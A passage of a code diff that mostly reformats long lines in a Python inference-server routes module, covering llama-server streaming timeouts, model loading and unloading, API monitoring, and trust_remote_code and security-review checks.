msg_l and any(t in msg_l for t in ("exceed", "length", "window", "too long")) + "context" in msg_l + and any(t in msg_l for t in ("exceed", "length", "window", "too long")) ): return True if _re.search(r"llama-server returned (4\d\d)", msg): @@ -1077,7 +1103,8 @@ def _llama_streaming_generation_timeout() -> httpx.Timeout: def _set_stream_response_read_timeout( - response: httpx.Response, read_timeout_s: Optional[float] = _DEFAULT_STREAM_STALL_TIMEOUT_S + response: httpx.Response, + read_timeout_s: Optional[float] = _DEFAULT_STREAM_STALL_TIMEOUT_S, ) -> None: # ``read_timeout_s = None`` clears httpx's read timeout (wait indefinitely), # used when the stall guard is disabled so a stale first-token deadline @@ -1101,7 +1128,9 @@ _OPENAI_LLAMA_ADMISSION_POLL_S = 0.25 _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S = 15.0 -def _openai_llama_admission_capacity(request: Optional[Request], llama_backend = None) -> int: +def _openai_llama_admission_capacity( + request: Optional[Request], llama_backend = None +) -> int: """Serving slots available for one local llama-server backend. The loaded backend is the source of truth because it may have reduced @@ -1109,7 +1138,9 @@ def _openai_llama_admission_capacity(request: Optional[Request], llama_backend = launch-intent fallback for tests and for the short window before a backend reports its committed runtime slots. """ - slots = _positive_int_or_none(getattr(llama_backend, "effective_parallel_slots", None)) + slots = _positive_int_or_none( + getattr(llama_backend, "effective_parallel_slots", None) + ) if slots is not None: return slots try: @@ -1180,7 +1211,9 @@ def _openai_admission_error_body(exc: Exception, *, status_code: int) -> dict: return openai_error_body(message, status = status_code) -def _openai_admission_http_exception(exc: Exception, *, status_code: int) -> HTTPException: +def _openai_admission_http_exception( + exc: Exception, *, status_code: int +) -> HTTPException: return HTTPException( status_code = status_code, detail = _openai_admission_error_body(exc, status_code = status_code), @@ -1242,7 +1275,11 @@ async def _wait_for_openai_admission_non_streaming( request = request, cancel_event = cancel_event, ) - deadline = None if config.queue_timeout_s is None else time.monotonic() + config.queue_timeout_s + deadline = ( + None + if config.queue_timeout_s is None + else time.monotonic() + config.queue_timeout_s + ) try: while True: await _raise_if_openai_admission_cancelled( @@ -1305,7 +1342,11 @@ async def _openai_admission_wait_stream_chunks( request = request, cancel_event = cancel_event, ) - deadline = None if config.queue_timeout_s is None else time.monotonic() + config.queue_timeout_s + deadline = ( + None + if config.queue_timeout_s is None + else time.monotonic() + config.queue_timeout_s + ) keepalive_interval_s = max(0.001, config.keepalive_interval_s) next_keepalive_at = time.monotonic() + keepalive_interval_s try: @@ -1321,7 +1362,9 @@ async def _openai_admission_wait_stream_chunks( return now = time.monotonic() - wait_s = min(_OPENAI_LLAMA_ADMISSION_POLL_S, max(next_keepalive_at - now, 0.001)) + wait_s = min( + _OPENAI_LLAMA_ADMISSION_POLL_S, max(next_keepalive_at - now, 0.001) + ) if deadline is not None: remaining_s = deadline - now if remaining_s <= 0: @@ -1547,7 +1590,9 @@ async def _aclose_stream_resources( raise asyncio.CancelledError() -async def _preheader_cancelled(cancel_event = None, request: Optional[Request] = None) -> bool: +async def _preheader_cancelled( + cancel_event = None, request: Optional[Request] = None +) -> bool: if cancel_event is not None and cancel_event.is_set(): return True if request is not None and await request.is_disconnected(): @@ -1557,7 +1602,9 @@ async def _preheader_cancelled(cancel_event = None, request: Optional[Request] = return False -async def _wait_preheader_cancel(cancel_event = None, request: Optional[Request] = None) -> None: +async def _wait_preheader_cancel( + cancel_event = None, request: Optional[Request] = None +) -> None: while not await _preheader_cancelled(cancel_event, request): await asyncio.sleep(0.05) @@ -1643,7 +1690,9 @@ async def _aiter_llama_stream_items( if waiting_first_item: remaining_s = first_token_deadline - time.monotonic() if remaining_s <= 0: - raise httpx.ReadTimeout("The model did not produce a first token in time.") + raise httpx.ReadTimeout( + "The model did not produce a first token in time." + ) if response is not None: _set_stream_response_read_timeout(response, remaining_s) # Keep httpx/httpcore's AnyIO cancel scope in this task. @@ -1660,12 +1709,16 @@ async def _aiter_llama_stream_items( ): stall_remaining_s = timeout_s - (time.monotonic() - last_item_at) if stall_remaining_s <= 0: - raise httpx.ReadTimeout("The model stopped producing tokens mid-response.") + raise httpx.ReadTimeout( + "The model stopped producing tokens mid-response." + ) _set_stream_response_read_timeout(response, stall_remaining_s) item = await async_iter.__anext__() except asyncio.TimeoutError as exc: if waiting_first_item: - raise httpx.ReadTimeout("The model did not produce a first token in time.") from exc + raise httpx.ReadTimeout( + "The model did not produce a first token in time." + ) from exc raise except StopAsyncIteration: return @@ -1676,7 +1729,11 @@ async def _aiter_llama_stream_items( raise continue timeout_s = _post_first_timeout_s() - if request is not None and timeout_s is not None and now - last_item_at < timeout_s: + if ( + request is not None + and timeout_s is not None + and now - last_item_at < timeout_s + ): continue raise httpx.ReadTimeout("The model stopped producing tokens mid-response.") if last_item_at is None and response is not None: @@ -1778,7 +1835,11 @@ from core.inference.providers import get_base_url from core.inference.external_provider import ExternalProviderClient from core.inference.chat_templates import resolve_effective_chat_template_override from storage import providers_db -from utils.utils import is_hf_authentication_error, safe_error_detail, log_and_http_error +from utils.utils import ( + is_hf_authentication_error, + safe_error_detail, + log_and_http_error, +) import io import base64 @@ -1908,7 +1969,9 @@ async def artifact_preview_frame(allow_network: bool = False): """ csp = ( - _ARTIFACT_PREVIEW_FRAME_NETWORK_CSP if allow_network else _ARTIFACT_PREVIEW_FRAME_STRICT_CSP + _ARTIFACT_PREVIEW_FRAME_NETWORK_CSP + if allow_network + else _ARTIFACT_PREVIEW_FRAME_STRICT_CSP ) return Response( content = _ARTIFACT_PREVIEW_FRAME_HTML, @@ -1938,7 +2001,9 @@ def _detect_safetensors_features( model_id = getattr(backend, "active_model_name", None) feature_template = chat_template try: - from core.inference.chat_template_helpers import _selected_template_strings_from_value + from core.inference.chat_template_helpers import ( + _selected_template_strings_from_value, + ) selected_templates = _selected_template_strings_from_value(chat_template, tools) if selected_templates: feature_template = selected_templates[0] @@ -1970,14 +2035,19 @@ def _detect_safetensors_features( ) ) if any( - detect_reasoning_channel_markers_from_template(template, tools = tools) is not None + detect_reasoning_channel_markers_from_template(template, tools = tools) + is not None for template in templates ): flags["supports_reasoning"] = True flags["reasoning_always_on"] = True - logger.info("safetensors: model always reasons (native channel markers)") + logger.info( + "safetensors: model always reasons (native channel markers)" + ) except Exception: - logger.debug("safetensors_native_reasoning_marker_check_failed", exc_info = True) + logger.debug( + "safetensors_native_reasoning_marker_check_failed", exc_info = True + ) # Markers any supported parser recognises (template advertises tools but # uses none -> drop the pill). Reuse the parser's own signal list so this # gate never drifts (a hand-maintained copy lost the DeepSeek variants); @@ -2039,7 +2109,9 @@ def _generation_prompt_opens_think(template: Optional[str]) -> bool: lstrip_blocks = True, extensions = ["jinja2.ext.loopcontrols"], ) - env.filters["tojson"] = lambda value, **kwargs: json.dumps(value, ensure_ascii = False) + env.filters["tojson"] = lambda value, **kwargs: json.dumps( + value, ensure_ascii = False + ) env.globals["raise_exception"] = _raise_exception rendered = env.from_string(template).render( messages = [{"role": "user", "content": "hi"}], @@ -2069,7 +2141,10 @@ def _sf_reasoning_prefill_mode( gpt-oss and thinking-disabled requests return False. ``enable_thinking`` None defaults thinking ON, so a plain request still prefills. """ - if features.get("reasoning_style") not in ("enable_thinking", "enable_thinking_effort"): + if features.get("reasoning_style") not in ( + "enable_thinking", + "enable_thinking_effort", + ): return False tpl = template or "" if "" not in tpl and "" not in tpl: @@ -2090,7 +2165,10 @@ def _sf_reasoning_prefill_mode( return False # Thinking-off arrives as reasoning_effort "none" on enable_thinking_effort models; honor it # so we don't prefill and capture the answer. Plain enable_thinking models ignore effort. - if features.get("reasoning_style") == "enable_thinking_effort" and reasoning_effort == "none": + if ( + features.get("reasoning_style") == "enable_thinking_effort" + and reasoning_effort == "none" + ): return False return True @@ -2118,7 +2196,9 @@ def _explicit_studio_tool_loop_requested(payload) -> bool: from state.tool_policy import get_tool_policy policy = get_tool_policy() - return policy is not False and (payload.enable_tools is True or bool(payload.mcp_enabled)) + return policy is not False and ( + payload.enable_tools is True or bool(payload.mcp_enabled) + ) def _permission_mode_confirm(payload) -> bool: @@ -2164,7 +2244,9 @@ def _confirm_gate_needs_stream(payload) -> bool: return True enabled = getattr(payload, "enabled_tools", None) if enabled is None: - return True # omitted enabled_tools resolves to ALL tools (incl. terminal/python) + return ( + True # omitted enabled_tools resolves to ALL tools (incl. terminal/python) + ) if not enabled: # An explicit empty selection runs no built-in tool (_select_request_tools # skips the loop), so there is nothing to prompt and no stream is needed. @@ -2188,7 +2270,9 @@ _PENDING_CANCEL_TTL_S = 30.0 def _prune_pending(now: float) -> None: - for k in [k for k, ts in _PENDING_CANCELS.items() if now - ts > _PENDING_CANCEL_TTL_S]: + for k in [ + k for k, ts in _PENDING_CANCELS.items() if now - ts > _PENDING_CANCEL_TTL_S + ]: _PENDING_CANCELS.pop(k, None) @@ -2431,7 +2515,9 @@ def _build_tool_action_nudge(*, tools: list[dict], model_name: str) -> str: compact_web_tip = model_size_b is not None and model_size_b < 9 tool_tip_parts: list[str] = [] if has_web: - tool_tip_parts.append(_TOOL_WEB_COMPACT_TIP if compact_web_tip else _TOOL_WEB_EXPANDED_TIP) + tool_tip_parts.append( + _TOOL_WEB_COMPACT_TIP if compact_web_tip else _TOOL_WEB_EXPANDED_TIP + ) if has_code: tool_tip_parts.append(_TOOL_CODE_TIP) if has_artifact: @@ -2684,9 +2770,13 @@ def _monitor_prompt_from_messages(messages) -> str: lines: list[str] = [] for msg in messages or []: role = msg.get("role") if isinstance(msg, dict) else getattr(msg, "role", "") - content = msg.get("content") if isinstance(msg, dict) else getattr(msg, "content", "") + content = ( + msg.get("content") if isinstance(msg, dict) else getattr(msg, "content", "") + ) tool_calls = ( - msg.get("tool_calls") if isinstance(msg, dict) else getattr(msg, "tool_calls", None) + msg.get("tool_calls") + if isinstance(msg, dict) + else getattr(msg, "tool_calls", None) ) text = _monitor_content_text(content) if tool_calls and not text: @@ -2851,7 +2941,8 @@ def _monitor_anthropic_usage( monitor_id, { "prompt_tokens": usage.get("input_tokens") or usage.get("prompt_tokens"), - "completion_tokens": usage.get("output_tokens") or usage.get("completion_tokens"), + "completion_tokens": usage.get("output_tokens") + or usage.get("completion_tokens"), "total_tokens": usage.get("total_tokens"), }, context_length, @@ -2886,7 +2977,9 @@ def _monitor_anthropic_payload( if isinstance(content_block, dict) and content_block.get("type") == "tool_use": index = _monitor_anthropic_index(data) _ANTHROPIC_MONITOR_TOOL_BLOCKS.setdefault(monitor_id, {})[index] = False - api_monitor.append_reply(monitor_id, _monitor_call_text(content_block.get("name"))) + api_monitor.append_reply( + monitor_id, _monitor_call_text(content_block.get("name")) + ) return None if event_type == "content_block_delta": delta = data.get("delta") or {} @@ -3036,14 +3129,18 @@ def _monitor_anthropic_response( def _monitor_context_length() -> Optional[int]: llama_backend = get_llama_cpp_backend() if getattr(llama_backend, "is_loaded", False): - context_length = _positive_int_or_none(getattr(llama_backend, "context_length", None)) + context_length = _positive_int_or_none( + getattr(llama_backend, "context_length", None) + ) if context_length is not None: return context_length backend = get_inference_backend() if not backend.active_model_name: return None models = getattr(backend, "models", {}) or {} - model_info = models.get(backend.active_model_name, {}) if isinstance(models, dict) else {} + model_info = ( + models.get(backend.active_model_name, {}) if isinstance(models, dict) else {} + ) context_length = _positive_int_or_none(model_info.get("context_length")) if context_length is not None: return context_length @@ -3114,7 +3211,9 @@ def _normalise_settings_str(value: Optional[str]) -> Optional[str]: return value -def _should_strip_split_mode(request: LoadRequest, backend_extra: Optional[list[str]]) -> bool: +def _should_strip_split_mode( + request: LoadRequest, backend_extra: Optional[list[str]] +) -> bool: """Whether an inherited --split-mode (and its coupled --tensor-split) should be stripped on reload. @@ -3232,7 +3331,8 @@ def _request_matches_loaded_settings( request.gpu_layers >= 0 and ( request.n_cpu_moe != llama_backend.n_cpu_moe - or (request.tensor_split or None) != (llama_backend.tensor_split or None) + or (request.tensor_split or None) + != (llama_backend.tensor_split or None) ) ) ): @@ -3252,7 +3352,9 @@ def _request_matches_loaded_settings( # re-selects instead of keeping the all-GPU mask (#6659). The effective check # includes the env, so an env-only tensor (LLAMA_ARG_SPLIT_MODE=tensor) that # can't actually be dropped falls through to the env-downgrade match, not a loop. - if llama_backend.layer_preserves_tensor_intent and _is_explicit_tensor_drop(request): + if llama_backend.layer_preserves_tensor_intent and _is_explicit_tensor_drop( + request + ): return False # Spec decoding works on vision models too (MTP is mmproj-compatible, # llama.cpp #22673; the old ``not is_vision`` gate is gone), so compare @@ -3358,7 +3460,9 @@ def _resolve_model_identifier_for_request( status_code = 400, detail = redact_native_paths(str(exc)), ) from exc - display_label = grant.display_label or Path(request.model_path).name or "Native model" + display_label = ( + grant.display_label or Path(request.model_path).name or "Native model" + ) return str(grant.canonical_path), display_label, True @@ -3457,7 +3561,9 @@ def _same_request_waiters(key: str) -> int: return _auto_switch_request_waiters.get(key, 0) -def _llama_public_model_id(llama_backend, fallback: Optional[str] = None) -> Optional[str]: +def _llama_public_model_id( + llama_backend, fallback: Optional[str] = None +) -> Optional[str]: """The id to report for the loaded GGUF in API responses: the advertised repo id from an auto-switch load, else the cleaned public id, never the on-disk .gguf path (see core.inference.model_ids.public_model_id).""" @@ -3500,7 +3606,8 @@ def _target_is_vision(load_path: str) -> bool: def _messages_have_image(messages) -> bool: return any( - isinstance(m.content, list) and any(isinstance(p, ImageContentPart) for p in m.content) + isinstance(m.content, list) + and any(isinstance(p, ImageContentPart) for p in m.content) for m in messages ) @@ -3519,7 +3626,11 @@ def _anthropic_request_has_image(payload) -> bool: if not isinstance(content, list): continue for block in content: - bt = block.get("type") if isinstance(block, dict) else getattr(block, "type", None) + bt = ( + block.get("type") + if isinstance(block, dict) + else getattr(block, "type", None) + ) if bt == "image": return True return False @@ -3725,7 +3836,9 @@ async def _maybe_auto_switch_model( # pending request is still in the middleware, not generating, so # it is not counted here. same_others = max( - _same_target_waiters(key) - 1, _same_request_waiters(request_key) - 1, 0 + _same_target_waiters(key) - 1, + _same_request_waiters(request_key) - 1, + 0, ) others = other_inference_request_count( current_request_counted = True, include_pending = False @@ -3747,7 +3860,9 @@ async def _maybe_auto_switch_model( override = get_model_override(override_id) load_kwargs = {"model_path": target_id, "gguf_variant": variant} if override.get("llama_extra_args") is not None: - load_kwargs["llama_extra_args"] = override["llama_extra_args"] + load_kwargs["llama_extra_args"] = override[ + "llama_extra_args" + ] if override.get("max_seq_length") is not None: load_kwargs["max_seq_length"] = override["max_seq_length"] # Reuse the load impl so its dedup, tensor fallback, and threading @@ -3812,7 +3927,11 @@ def _effective_load_in_4bit(config: ModelConfig, requested: bool) -> bool: return False if training_method == "qlora": return True - if not training_method and config.base_model and "-bnb-4bit" not in config.base_model.lower(): + if ( + not training_method + and config.base_model + and "-bnb-4bit" not in config.base_model.lower() + ): return False return load_in_4bit @@ -3904,7 +4023,8 @@ def _estimate_gguf_required_gb( variants, has_vision = list_gguf_variants(repo, hf_token = hf_token) main_bytes = next( - (v.size_bytes for v in variants if v.quant.lower() == variant.lower()), None + (v.size_bytes for v in variants if v.quant.lower() == variant.lower()), + None, ) if main_bytes is None: return None @@ -3927,7 +4047,8 @@ def _classify_diffusion_gguf(config: ModelConfig) -> Optional[bool]: though the runner ignores Manual's llama-server placement controls. """ identity = " ".join( - str(getattr(config, attr, "") or "") for attr in ("identifier", "gguf_hf_repo", "gguf_file") + str(getattr(config, attr, "") or "") + for attr in ("identifier", "gguf_hf_repo", "gguf_file") ).lower() if "diffusion" in identity: return True @@ -4083,7 +4204,9 @@ def _resolve_inherited_extra_args( resolved_variant = (config.gguf_variant or "").lower() request_variant = (request.gguf_variant or "").lower() stored_variant = (source[1] or "").lower() if source else "" - same_model = bool(source and source[0] and source[0].lower() == model_identifier.lower()) + same_model = bool( + source and source[0] and source[0].lower() == model_identifier.lower() + ) if request.gguf_variant: variant_mismatch = request_variant != stored_variant else: @@ -4110,12 +4233,16 @@ def _resolve_inherited_extra_args( llama_backend.extra_args, strip_context = "max_seq_length" in fields_set, strip_cache = "cache_type_kv" in fields_set, - strip_spec = ("speculative_type" in fields_set or "spec_draft_n_max" in fields_set), + strip_spec = ( + "speculative_type" in fields_set or "spec_draft_n_max" in fields_set + ), strip_template = ( "chat_template_override" in fields_set or effective_chat_template_override is not None ), - strip_split_mode = _should_strip_split_mode(request, llama_backend.extra_args), + strip_split_mode = _should_strip_split_mode( + request, llama_backend.extra_args + ), # manual + per-GPU ratio emits its own --tensor-split; drop # an inherited one (appended last would override it) while # keeping the user's --split-mode row/none/layer choice. @@ -4223,7 +4350,9 @@ async def load_model( return await _load_model_impl(request, fastapi_request, current_subject) -async def _load_model_impl(request: LoadRequest, fastapi_request: Request, current_subject: str): +async def _load_model_impl( + request: LoadRequest, fastapi_request: Request, current_subject: str +): from core.inference.llama_cpp import LlamaServerNotFoundError # A new load starts here; arm the progress throttle so this load's first @@ -4374,7 +4503,9 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre backend.active_model_name and backend.active_model_name.lower() == model_identifier.lower() ): - logger.info(f"Model already loaded (Unsloth): {model_log_label}, skipping reload") + logger.info( + f"Model already loaded (Unsloth): {model_log_label}, skipping reload" + ) inference_config = load_inference_config(backend.active_model_name) _model_info = backend.models.get(backend.active_model_name, {}) _chat_template = None @@ -4391,7 +4522,9 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre _sf_reasoning_style = _sf_flags["reasoning_style"] return LoadResponse( status = "already_loaded", - model = model_log_label if native_grant_backed else backend.active_model_name, + model = model_log_label + if native_grant_backed + else backend.active_model_name, display_name = model_log_label if native_grant_backed else backend.active_model_name, @@ -4407,11 +4540,15 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre ), supports_reasoning = _sf_supports_reasoning, reasoning_style = _sf_reasoning_style, - reasoning_effort_levels = _sf_flags.get("reasoning_effort_levels", []), + reasoning_effort_levels = _sf_flags.get( + "reasoning_effort_levels", [] + ), reasoning_always_on = _sf_flags["reasoning_always_on"], supports_preserve_thinking = _sf_flags["supports_preserve_thinking"], supports_tools = _sf_flags["supports_tools"], - context_length = _positive_int_or_none(_model_info.get("context_length")), + context_length = _positive_int_or_none( + _model_info.get("context_length") + ), chat_template = _chat_template, ) @@ -4490,7 +4627,9 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre # to match. Off-loop: tier resolution reads configs. if effective_load_in_4bit and not config.is_gguf: from utils.transformers_version import latest_tier_active_for - if await asyncio.to_thread(latest_tier_active_for, config.identifier, request.hf_token): + if await asyncio.to_thread( + latest_tier_active_for, config.identifier, request.hf_token + ): effective_load_in_4bit = False logger.info( f"Latest-transformers sidecar active for '{model_log_label}' - " @@ -4544,7 +4683,8 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre config.gguf_hf_repo, config.gguf_variant, require_mmproj = bool( - config.is_vision and not extra_args_disable_mmproj(extra_llama_args) + config.is_vision + and not extra_args_disable_mmproj(extra_llama_args) ), hf_token = request.hf_token, ): @@ -4600,7 +4740,9 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre if native_grant_backed: if config.gguf_mmproj_file: _validate_native_gguf_companion( - config.gguf_mmproj_file, config.gguf_file, "vision companion" + config.gguf_mmproj_file, + config.gguf_file, + "vision companion", ) if config.gguf_mtp_file: # The drafter is optional (unlike mmproj for a vision @@ -4610,7 +4752,9 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre config.gguf_mtp_file, config.gguf_file, "MTP drafter" ) except HTTPException as exc: - logger.warning("Dropping MTP drafter for native load: %s", exc.detail) + logger.warning( + "Dropping MTP drafter for native load: %s", exc.detail + ) config.gguf_mtp_file = None _source_load_kwargs = dict( gguf_path = config.gguf_file, @@ -4681,7 +4825,9 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre # this attempt): keep multi-GPU. Mirrors the fallback's key. preserve_multi_gpu_on_layer = bool( _tensor_intent_overall - and not _effective_tensor_parallel(attempt_extra_args, tensor_parallel) + and not _effective_tensor_parallel( + attempt_extra_args, tensor_parallel + ) ), ) @@ -4718,7 +4864,9 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre # Audio detection moved into load_model under _serial_load_lock (#5642). _gguf_audio = llama_backend._audio_type _gguf_is_audio = llama_backend._is_audio - llama_backend._native_display_label = model_log_label if native_grant_backed else None + llama_backend._native_display_label = ( + model_log_label if native_grant_backed else None + ) llama_backend._native_grant_backed = bool(native_grant_backed) if _gguf_is_audio: logger.info(f"GGUF model detected as audio: audio_type={_gguf_audio}") @@ -4728,7 +4876,9 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre return LoadResponse( status = "loaded", model = model_log_label if native_grant_backed else config.identifier, - display_name = model_log_label if native_grant_backed else config.display_name, + display_name = model_log_label + if native_grant_backed + else config.display_name, is_vision = llama_backend.is_vision, is_lora = False, is_gguf = True, @@ -4776,7 +4926,9 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre from core.export import get_export_backend exp_backend = get_export_backend() if exp_backend.current_checkpoint: - logger.info("Shutting down export subprocess to free GPU memory for inference") + logger.info( + "Shutting down export subprocess to free GPU memory for inference" + ) exp_backend._shutdown_subprocess() exp_backend.current_checkpoint = None exp_backend.is_vision = False @@ -4805,7 +4957,9 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre # Check if YAML says this model needs trust_remote_code. if not request.trust_remote_code: model_defaults = load_model_defaults(config.identifier) - yaml_trust = model_defaults.get("inference", {}).get("trust_remote_code", False) + yaml_trust = model_defaults.get("inference", {}).get( + "trust_remote_code", False + ) if yaml_trust: raise HTTPException( status_code = 400, @@ -4856,16 +5010,18 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre trust_remote_code_used = bool(getattr(request, "trust_remote_code", False)), ) try: - backend.models.setdefault(config.identifier, {})["requires_trust_remote_code"] = ( - _requires_rc - ) + backend.models.setdefault(config.identifier, {})[ + "requires_trust_remote_code" + ] = _requires_rc except Exception: pass return LoadResponse( status = "loaded", model = model_log_label if native_grant_backed else config.identifier, - display_name = model_log_label if native_grant_backed else config.display_name, + display_name = model_log_label + if native_grant_backed + else config.display_name, is_vision = config.is_vision, is_lora = config.is_lora, is_gguf = False, @@ -4909,7 +5065,9 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre raise HTTPException(status_code = 400, detail = redacted_msg) except LlamaServerNotFoundError as e: # Missing GGUF runtime: 400 with the install message, not a generic 500. - logger.warning("GGUF runtime missing while loading '%s': %s", model_log_label, e) + logger.warning( + "GGUF runtime missing while loading '%s': %s", model_log_label, e + ) raise HTTPException(status_code = 400, detail = str(e)) except Exception as e: from utils.transformers_version import SidecarSwapInProgress @@ -4957,7 +5115,9 @@ def _requires_trust_remote_code_for_model( from utils.inference import load_inference_config try: - if bool(load_inference_config(model_identifier).get("trust_remote_code", False)): + if bool( + load_inference_config(model_identifier).get("trust_remote_code", False) + ): return True except Exception: pass @@ -4991,7 +5151,9 @@ def _resolve_loaded_trust_remote_code( stored = (model_info or {}).get("requires_trust_remote_code") if stored is not None: return bool(stored) - if trust_remote_code_used or bool((inference_config or {}).get("trust_remote_code", False)): + if trust_remote_code_used or bool( + (inference_config or {}).get("trust_remote_code", False) + ): return True try: return bool(_requires_trust_remote_code_for_model(model_id, hf_token)) @@ -5090,7 +5252,9 @@ async def validate_model( from utils.models.model_config import get_base_model_from_lora_identifier # Resolve a LOCAL or REMOTE adapter's base so its code/weights are reviewed too. - _base = get_base_model_from_lora_identifier(model_identifier, request.hf_token) + _base = get_base_model_from_lora_identifier( + model_identifier, request.hf_token + ) if _base: security_targets.append(_base) except Exception: @@ -5178,7 +5342,8 @@ async def validate_model( requires_security_review = False if not is_gguf: requires_security_review = any( - _requires_security_review_for_model(_t, request.hf_token) for _t in security_targets + _requires_security_review_for_model(_t, request.hf_token) + for _t in security_targets ) # Native context length, read from the local GGUF header when present. # Lets the staged ("Load on selection" off) flow populate the context @@ -5240,7 +5405,9 @@ async def validate_model( raise except LlamaServerNotFoundError as e: # Missing GGUF runtime: 400 with the install message, not a generic "Invalid model". - logger.warning("GGUF runtime missing while validating '%s': %s", request.model_path, e) + logger.warning( + "GGUF runtime missing while validating '%s': %s", request.model_path, e + ) raise HTTPException(status_code = 400, detail = str(e)) except Exception as e: redacted_msg = redact_native_paths(str(e)) @@ -5300,7 +5467,8 @@ async def validate_model( "/install-latest-transformers", response_model = InstallLatestTransformersResponse ) async def install_latest_transformers_route( - request: InstallLatestTransformersRequest, current_subject: str = Depends(get_current_subject) + request: InstallLatestTransformersRequest, + current_subject: str = Depends(get_current_subject), ): """ Consented install of the latest transformers release into the persistent @@ -5370,7 +5538,12 @@ async def install_latest_transformers_route( other_inference_request_count, ) - if other_inference_request_count(current_request_counted = False, include_pending = False) > 0: + if ( + other_inference_request_count( + current_request_counted = False, include_pending = False + ) + > 0 + ): raise HTTPException( status_code = 409, detail = ( @@ -5399,7 +5572,9 @@ async def install_latest_transformers_route( export_backend.cleanup_memory() export_alive = getattr(export_backend, "is_worker_alive", None) if callable(export_alive) and export_alive(): - raise RuntimeError("Export worker still alive before the transformers swap") + raise RuntimeError( + "Export worker still alive before the transformers swap" + ) active = getattr(backend, "active_model_name", None) if active: if not backend.unload_model(active): @@ -5410,7 +5585,9 @@ async def install_latest_transformers_route( if getattr(backend, "active_model_name", None) != active: unloaded_chat["v"] = True note_model_unloaded() - raise RuntimeError(f"Could not unload '{active}' before the transformers swap") + raise RuntimeError( + f"Could not unload '{active}' before the transformers swap" + ) note_model_unloaded() unloaded_chat["v"] = True logger.info( @@ -5427,13 +5604,17 @@ async def install_latest_transformers_route( # rather than the recheck being fooled by a nulled handle. stopped = backend._shutdown_subprocess() if not stopped or worker_alive(): - raise RuntimeError("Inference worker still alive before the transformers swap") + raise RuntimeError( + "Inference worker still alive before the transformers swap" + ) def _run_install() -> dict: # Owns the reservation from here: releasing in the thread, not the route, # keeps it held if the request is cancelled while the install still stages. try: - return install_latest_transformers(request.version, _unload_before_swap, True) + return install_latest_transformers( + request.version, _unload_before_swap, True + ) finally: end_sidecar_swap() @@ -5496,18 +5677,24 @@ async def install_latest_transformers_route( if result.get("latest_version"): # Structured failure so the dialog can update to the newer release # and offer a retry that can actually succeed. - return InstallLatestTransformersResponse(**result, model_unloaded = unloaded_chat["v"]) + return InstallLatestTransformersResponse( + **result, model_unloaded = unloaded_chat["v"] + ) if unloaded_chat["v"]: # The chat model is already gone even though the swap failed; return a # structured failure (not a bare 400) so the client can restore its # model state instead of pointing at an unloaded model. return InstallLatestTransformersResponse(**result, model_unloaded = True) raise HTTPException(status_code = 400, detail = result["message"]) - return InstallLatestTransformersResponse(**result, model_unloaded = unloaded_chat["v"]) + return InstallLatestTransformersResponse( + **result, model_unloaded = unloaded_chat["v"] + ) @router.post("/unload", response_model = UnloadResponse) -async def unload_model(request: UnloadRequest, current_subject: str = Depends(get_current_subject)): +async def unload_model( + request: UnloadRequest, current_subject: str = Depends(get_current_subject) +): """ Unload a model from memory. Routes to the correct backend (llama-server for GGUF, Unsloth otherwise). @@ -5515,7 +5702,10 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge # A deliberate unload means "stay unloaded": drop any idle reload stash so the # next /v1 request can't resurrect this model. The idle loop unloads via the # backend directly (not this route), so clearing here never fights keep-warm. - from core.inference.llama_keepwarm import inference_lifecycle_gate, note_model_unloaded + from core.inference.llama_keepwarm import ( + inference_lifecycle_gate, + note_model_unloaded, + ) try: # "Stop loading" (frontend cancelLoading -> /unload) must abort a still-loading # model promptly. /load holds the lifecycle gate for the whole (multi-minute) load, @@ -5526,7 +5716,10 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge if ( loading is not None and hasattr(backend, "cancel_load") - and (request.model_path == loading or request.model_path.lower() == loading.lower()) + and ( + request.model_path == loading + or request.model_path.lower() == loading.lower() + ) ): if await asyncio.to_thread(backend.cancel_load, request.model_path): note_model_unloaded() @@ -5592,7 +5785,9 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge @studio_router.post("/cancel") -async def cancel_inference(request: Request, current_subject: str = Depends(get_current_subject)): +async def cancel_inference( + request: Request, current_subject: str = Depends(get_current_subject) +): """Cancel in-flight inference requests. Body (JSON, at least one key required): @@ -5665,7 +5860,9 @@ async def get_api_monitor(current_subject: str = Depends(get_current_subject)): @studio_router.get("/monitor/{entry_id}") -async def get_api_monitor_entry(entry_id: str, current_subject: str = Depends(get_current_subject)): +async def get_api_monitor_entry( + entry_id: str, current_subject: str = Depends(get_current_subject) +): """Return full prompt/reply details for one OpenAI-compatible API request.""" entry = api_monitor.get(entry_id, subject = current_subject) if entry is None: @@ -5910,13 +6107,17 @@ async def get_status(current_subject: str = Depends(get_current_subject)): has_audio_input = model_info.get("has_audio_input", False) chat_template_info = model_info.get("chat_template_info", {}) chat_template = ( - chat_template_info.get("template") if isinstance(chat_template_info, dict) else None + chat_template_info.get("template") + if isinstance(chat_template_info, dict) + else None ) # Non-GGUF: classify from the loaded template. _sf_flags = _detect_safetensors_features(backend, chat_template) inference_config = ( - load_inference_config(backend.active_model_name) if backend.active_model_name else None + load_inference_config(backend.active_model_name) + if backend.active_model_name + else None ) return InferenceStatusResponse( @@ -6027,7 +6228,9 @@ async def generate_audio( _, chat_messages, _ = _extract_content_parts(payload.messages) if not chat_messages: raise HTTPException(status_code = 400, detail = "No messages provided.") - last_user_msg = next((m for m in reversed(chat_messages) if m["role"] == "user"), None) + last_user_msg = next( + (m for m in reversed(chat_messages) if m["role"] == "user"), None + ) if not last_user_msg: raise HTTPException(status_code = 400, detail = "No user message found.") text = last_user_msg["content"] @@ -6067,7 +6270,9 @@ async def generate_audio( raise HTTPException(status_code = 400, detail = "No 